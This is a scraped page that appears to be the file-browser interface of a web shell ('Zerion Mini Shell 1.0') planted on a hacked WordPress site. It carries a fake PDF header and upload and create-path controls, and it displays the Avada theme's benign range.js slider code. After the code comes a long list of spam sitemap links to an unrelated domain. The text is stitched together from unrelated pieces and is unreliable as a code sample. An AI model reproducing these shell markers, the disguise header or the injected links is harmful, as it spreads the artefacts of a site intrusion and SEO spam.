%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/themes/Avada/includes/lib/inc/fusion-app/options/
Upload File :
Create Path :
Current File : /dom645759/wp-content/themes/Avada/includes/lib/inc/fusion-app/options/range.js

/* global noUiSlider, wNumb */
var FusionPageBuilder = FusionPageBuilder || {};
FusionPageBuilder.options = FusionPageBuilder.options || {};

FusionPageBuilder.options.fusionRangeField = {
	optionRange: function( $element ) {
		var self = this,
			$rangeSlider;

		$element     = 'undefined' !== typeof $element && $element.length ? $element : this.$el;
		$rangeSlider = $element.find( '.fusion-slider-container' );

		if ( ! $rangeSlider.length ) {
			return;
		}

		if ( 'object' !== typeof this.$rangeSlider ) {
			this.$rangeSlider = {};
		}

		// Method for retreiving decimal places from step
		Number.prototype.countDecimals = function() { // eslint-disable-line no-extend-native
			if ( Math.floor( this.valueOf() ) === this.valueOf() ) {
				return 0;
			}
			return this.toString().split( '.' )[ 1 ].length || 0;
		};

		// Each slider on page, determine settings and create slider
		$rangeSlider.each( function() {

			var $targetId     = jQuery( this ).data( 'id' ),
				$rangeInput   = jQuery( this ).prev( '.fusion-slider-input' ),
				$min          = jQuery( this ).data( 'min' ),
				$max          = jQuery( this ).data( 'max' ),
				$step         = jQuery( this ).data( 'step' ),
				$direction    = 'ltr',
				$value        = $rangeInput.val(),
				$decimals     = $step.countDecimals(),
				$rangeCheck   = 1 === jQuery( this ).closest( '.fusion-builder-option' ).find( '.fusion-with-default' ).length,
				$rangeDefault = jQuery( this ).closest( '.fusion-builder-option' ).find( '.fusion-panel-options .fusion-range-default' ).length ? jQuery( this ).closest( '.fusion-builder-option' ).find( '.fusion-panel-options .fusion-range-default' ) : false,
				$hiddenValue  = ( $rangeCheck ) ? jQuery( this ).closest( '.fusion-builder-option' ).find( '.fusion-hidden-value' ) : false,
				$defaultValue = ( $rangeCheck ) ? jQuery( this ).closest( '.fusion-builder-option' ).find( '.fusion-range-default' ).attr( 'data-default' ) : jQuery( this ).data( 'value' );

			self.$rangeSlider[ $targetId ] = jQuery( this )[ 0 ];

			// Check if parent has another value set to override TO default.
			if ( 'undefined' !== typeof self.parentValues && 'undefined' !== typeof self.parentValues[ $targetId ] && $rangeDefault ) {

				//  Set default values to new value.
				jQuery( this ).closest( '.fusion-builder-option' ).find( '.fusion-range-default' ).attr( 'data-default', self.parentValues[ $targetId ] );
				$defaultValue = self.parentValues[ $targetId ];

				// If no current value is set, also update $value as representation on load.
				if ( ! $hiddenValue || '' === $hiddenValue.val() ) {
					$value = $defaultValue;
				}
			}

			self.createSlider( $targetId, $rangeInput, $min, $max, $step, $value, $decimals, $rangeCheck, $rangeDefault, $hiddenValue, $defaultValue, $direction );
		} );
	},

	createSlider: function( $targetId, $rangeInput, $min, $max, $step, $value, $decimals, $rangeCheck, $rangeDefault, $hiddenValue, $defaultValue, $direction ) {

		if ( jQuery( this.$rangeSlider[ $targetId ] ).hasClass( 'initialized' ) ) {
			return;
		}

		// Create slider with values passed on in data attributes.
		const self    = this;
		const options = {
			start: [ $value ],
			step: $step,
			direction: $direction,
			range: {
				min: $min,
				max: $max
			},
			format: wNumb( {
				decimals: $decimals
			} ),
			default: $defaultValue
		};

		const 	$slider = noUiSlider.create( self.$rangeSlider[ $targetId ], options );
		let		$notFirst = false;

		$rangeInput.closest( '.fusion-builder-option' ).attr( 'data-index', $targetId );

		// Check if default is currently set.
		if ( $rangeDefault && '' === $hiddenValue.val() ) {
			$rangeDefault.parent().addClass( 'checked' );
		}

		// If this range has a default option then if checked set slider value to data-value.
		if ( $rangeDefault ) {
			$rangeDefault.on( 'click', function( e ) {
				e.preventDefault();
				$slider.set( jQuery( this ).attr( 'data-default' ) );
				$hiddenValue.val( '' ).trigger( 'fusion-change' );
				jQuery( this ).parent().addClass( 'checked' );
			} );
		}

		// On slider move, update input. Also triggered on range init.
		$slider.on( 'update', function( values, handle ) {

			if ( $rangeCheck && $notFirst ) {
				if ( $rangeDefault ) {
					$rangeDefault.parent().removeClass( 'checked' );
				}
				$hiddenValue.val( values[ handle ] ).trigger( 'fusion-change' );
			}

			if ( $rangeDefault && $defaultValue == Object.values( values )[ 0 ] ) {
				$rangeDefault.parent().addClass( 'checked' );
			}

			// Not needed on init, value is already set in template.
			if ( true === $notFirst ) {
				jQuery( this.target ).closest( '.fusion-slider-container' ).prev().val( values[ handle ] ).trigger( 'change' );
			}

			$notFirst = true;
		} );

		// On manual input change, update slider position
		$rangeInput.on( 'blur', function() {
			if ( this.value !== $slider.get() ) {
				// This triggers 'update' event.
				$slider.set( this.value );
			}
		} );

		jQuery( this.$rangeSlider[ $targetId ] ).addClass( 'initialized' );
	}
};

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap926.xml 2026-12-02 https://louisvillegop.com/sitemap110.xml 2026-12-02 https://louisvillegop.com/sitemap140.xml 2026-12-02 https://louisvillegop.com/sitemap485.xml 2026-12-02 https://louisvillegop.com/sitemap873.xml 2026-12-02 https://louisvillegop.com/sitemap414.xml 2026-12-02 https://louisvillegop.com/sitemap947.xml 2026-12-02 https://louisvillegop.com/sitemap615.xml 2026-12-02 https://louisvillegop.com/sitemap351.xml 2026-12-02 https://louisvillegop.com/sitemap191.xml 2026-12-02 https://louisvillegop.com/sitemap237.xml 2026-12-02 https://louisvillegop.com/sitemap495.xml 2026-12-02 https://louisvillegop.com/sitemap843.xml 2026-12-02 https://louisvillegop.com/sitemap479.xml 2026-12-02 https://louisvillegop.com/sitemap558.xml 2026-12-02 https://louisvillegop.com/sitemap396.xml 2026-12-02 https://louisvillegop.com/sitemap357.xml 2026-12-02 https://louisvillegop.com/sitemap57.xml 2026-12-02 https://louisvillegop.com/sitemap354.xml 2026-12-02 https://louisvillegop.com/sitemap907.xml 2026-12-02 https://louisvillegop.com/sitemap271.xml 2026-12-02 https://louisvillegop.com/sitemap998.xml 2026-12-02 https://louisvillegop.com/sitemap95.xml 2026-12-02 https://louisvillegop.com/sitemap877.xml 2026-12-02 https://louisvillegop.com/sitemap940.xml 2026-12-02 https://louisvillegop.com/sitemap342.xml 2026-12-02 https://louisvillegop.com/sitemap563.xml 2026-12-02 https://louisvillegop.com/sitemap600.xml 2026-12-02 https://louisvillegop.com/sitemap31.xml 2026-12-02 https://louisvillegop.com/sitemap198.xml 2026-12-02 https://louisvillegop.com/sitemap352.xml 2026-12-02 https://louisvillegop.com/sitemap310.xml 2026-12-02 https://louisvillegop.com/sitemap355.xml 2026-12-02 https://louisvillegop.com/sitemap562.xml 2026-12-02 https://louisvillegop.com/sitemap580.xml 2026-12-02 https://louisvillegop.com/sitemap673.xml 2026-12-02 https://louisvillegop.com/sitemap79.xml 2026-12-02 https://louisvillegop.com/sitemap759.xml 2026-12-02 https://louisvillegop.com/sitemap653.xml 2026-12-02 https://louisvillegop.com/sitemap268.xml 2026-12-02 https://louisvillegop.com/sitemap603.xml 2026-12-02 https://louisvillegop.com/sitemap925.xml 2026-12-02 https://louisvillegop.com/sitemap718.xml 2026-12-02 https://louisvillegop.com/sitemap317.xml 2026-12-02 https://louisvillegop.com/sitemap825.xml 2026-12-02 https://louisvillegop.com/sitemap939.xml 2026-12-02 https://louisvillegop.com/sitemap331.xml 2026-12-02 https://louisvillegop.com/sitemap356.xml 2026-12-02 https://louisvillegop.com/sitemap17.xml 2026-12-02 https://louisvillegop.com/sitemap112.xml 2026-12-02 https://louisvillegop.com/sitemap375.xml 2026-12-02 https://louisvillegop.com/sitemap892.xml 2026-12-02 https://louisvillegop.com/sitemap348.xml 2026-12-02 https://louisvillegop.com/sitemap728.xml 2026-12-02 https://louisvillegop.com/sitemap744.xml 2026-12-02 https://louisvillegop.com/sitemap800.xml 2026-12-02 https://louisvillegop.com/sitemap116.xml 2026-12-02 https://louisvillegop.com/sitemap285.xml 2026-12-02 https://louisvillegop.com/sitemap33.xml 2026-12-02 https://louisvillegop.com/sitemap816.xml 2026-12-02 https://louisvillegop.com/sitemap748.xml 2026-12-02 https://louisvillegop.com/sitemap181.xml 2026-12-02 https://louisvillegop.com/sitemap267.xml 2026-12-02 https://louisvillegop.com/sitemap392.xml 2026-12-02 https://louisvillegop.com/sitemap857.xml 2026-12-02 https://louisvillegop.com/sitemap846.xml 2026-12-02 https://louisvillegop.com/sitemap245.xml 2026-12-02 https://louisvillegop.com/sitemap305.xml 2026-12-02 https://louisvillegop.com/sitemap265.xml 2026-12-02 https://louisvillegop.com/sitemap410.xml 2026-12-02